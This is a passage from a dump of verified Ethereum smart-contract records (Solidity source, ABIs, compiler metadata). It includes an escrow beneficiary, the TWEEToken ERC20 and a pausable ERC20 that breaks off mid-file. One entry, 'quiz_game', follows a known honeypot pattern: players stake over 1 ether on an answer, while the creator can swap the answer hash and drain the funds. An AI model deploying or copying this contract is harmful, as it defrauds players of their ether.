import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol";
/// @dev Interface of recipient contract for approveAndCall pattern.
interface IStakerRewards {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes calldata _extraData
) external;
}
/// @title StakerRewardsBeneficiary
/// @notice An abstract beneficiary contract that can receive a withdrawal phase
/// from a PhasedEscrow contract. The received tokens are immediately
/// funded for a designated rewards escrow beneficiary contract.
contract StakerRewardsBeneficiary is Ownable {
IERC20 public token;
IStakerRewards public stakerRewards;
constructor(IERC20 _token, IStakerRewards _stakerRewards) public {
token = _token;
stakerRewards = _stakerRewards;
}
function __escrowSentTokens(uint256 amount) external onlyOwner {
bool success = token.approve(address(stakerRewards), amount);
require(success, "Token transfer approval failed");
stakerRewards.receiveApproval(
address(this),
amount,
address(token),
""
);
}
}
/// @title BeaconBackportRewardsEscrowBeneficiary
/// @notice Transfer the received tokens to a designated
/// BeaconBackportRewardsEscrowBeneficiary contract.
contract BeaconBackportRewardsEscrowBeneficiary is StakerRewardsBeneficiary {
constructor(IERC20 _token, IStakerRewards _stakerRewards)
public
StakerRewardsBeneficiary(_token, _stakerRewards)
{}
} | [{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"contract IStakerRewards","name":"_stakerRewards","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"__escrowSentTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"stakerRewards","outputs":[{"internalType":"contract IStakerRewards","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 00000000000000000000000085eee30c52b0b379b046fb0f85f4f3dc3009afec0000000000000000000000008fec9cf78087064f1f32269f68f94ae343ffbfff | Default | MIT | false | bzzr://4dfb8affd9edb9b46d1bf2a58985d03140b6b96516bda6f38408beb48b3a0408 |
||
TWEEToken | TWEEToken.sol | 0x2b6ff53fc2493ccd5202d80a6c439741414c5ff2 | Solidity | pragma solidity 0.5.14;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplie two unsigned integers, revert on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, revert on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtract two unsigned integers, revert on underflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Add two unsigned integers, revert on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title ERC20 interface
* @dev See https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
* @dev Implementation of the basic standard token.
*/
contract StandardToken is IERC20, Context {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Get the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner The address which owns the funds.
* @param spender The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(_msgSender(), to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from The address which you want to send tokens from.
* @param to The address which you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, _msgSender(), _allowed[from][_msgSender()].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowed[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowed[_msgSender()][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer tokens for a specified address.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "Cannot transfer to the zero address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0), "Cannot approve to the zero address");
require(owner != address(0), "Setter cannot be the zero address");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "burn from the zero address");
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowed[account][_msgSender()].sub(amount));
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Ownable {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function Pause() public whenNotPaused onlyOwner {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function Unpause() public whenPaused onlyOwner {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract Burnable is StandardToken {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract Freezable is Ownable {
mapping(address=>bool) public frozenAccount;
event Frozen(address indexed target, bool frozen);
function frozenCheck(address target) internal view {
require(!frozenAccount[target], "Freezable: Account is frozen!");
}
function freezeAccount(address target, bool frozen) public onlyOwner {
frozenAccount[target] = frozen;
emit Frozen(target, frozen);
}
}
contract TWEEToken is StandardToken, Pausable, Burnable, Freezable {
string public constant name = "Tweebaa";
string public constant symbol = "TWEE";
uint8 public constant decimals = 18;
uint256 internal constant INIT_TOTALSUPPLY = 2000000000;
address public constant tokenWallet = 0xa1bF6B4996a10cfBA2a8d4c9F6ac803575Bc780A;
/**
* @dev Constructor, initialize the basic information of contract.
*/
constructor() public {
_totalSupply = INIT_TOTALSUPPLY * 10 ** uint256(decimals);
_balances[tokenWallet] = _totalSupply;
emit Transfer(address(0), tokenWallet, _totalSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
frozenCheck(_msgSender());
frozenCheck(_to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
frozenCheck(_msgSender());
frozenCheck(_from);
frozenCheck(_to);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseAllowance(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(_spender, _addedValue);
}
function decreaseAllowance(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(_spender, _subtractedValue);
}
function batchTransfer(address[] memory _receivers, uint256[] memory _value) public whenNotPaused returns (bool) {
require(!frozenAccount[_msgSender()]);
require(_receivers.length == _value.length);
uint cnt = _receivers.length;
require(cnt > 0 && cnt <= 121);
for (uint i = 0; i < cnt; i++) {
frozenCheck(_receivers[i]);
require(_receivers[i] != address(0));
require(_value[i] > 0);
_balances[_msgSender()] = _balances[_msgSender()].sub(_value[i]);
_balances[_receivers[i]] = _balances[_receivers[i]].add(_value[i]);
emit Transfer(_msgSender(), _receivers[i], _value[i]);
}
return true;
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"target","type":"address"},{"indexed":false,"internalType":"bool","name":"frozen","type":"bool"}],"name":"Frozen","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"constant":false,"inputs":[],"name":"Pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"Unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_receivers","type":"address[]"},{"internalType":"uint256[]","name":"_value","type":"uint256[]"}],"name":"batchTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"frozen","type":"bool"}],"name":"freezeAccount","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"frozenAccount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokenWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.14+commit.1f1aaa4 | true | 200 | Default | None | false | bzzr://0aa2293f9f3eaaa6cffaea7bbbccf94705ab4333cf5136b3b96bae2017da3059 |
|||
quiz_game | quiz_game.sol | 0x1e4122413c436a294b11ad238e2293de633f2581 | Solidity | pragma solidity ^0.4.20;
contract quiz_game
{
function Try(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function start_quiz_game(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}
function() public payable{}
} | [{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"start_quiz_game","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.4.20+commit.3155dd80 | true | 200 | Default | false | bzzr://93c408e84dbc7af5638daf940aed9dc0206ea8208c15988fa4079ec754748955 |
||||
ERC20 | ERC20.sol | 0x085004cfb6bfb25ba00199b9247bfda66b63fa92 | Solidity | pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
event Paused(address account);
event Unpaused(address account);
Roles.Role private pausers;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool private _paused;
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
_addPauser(msg.sender);
_paused = false;
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public whenNotPaused override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public whenNotPaused override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
whenNotPaused
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
whenNotPaused
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
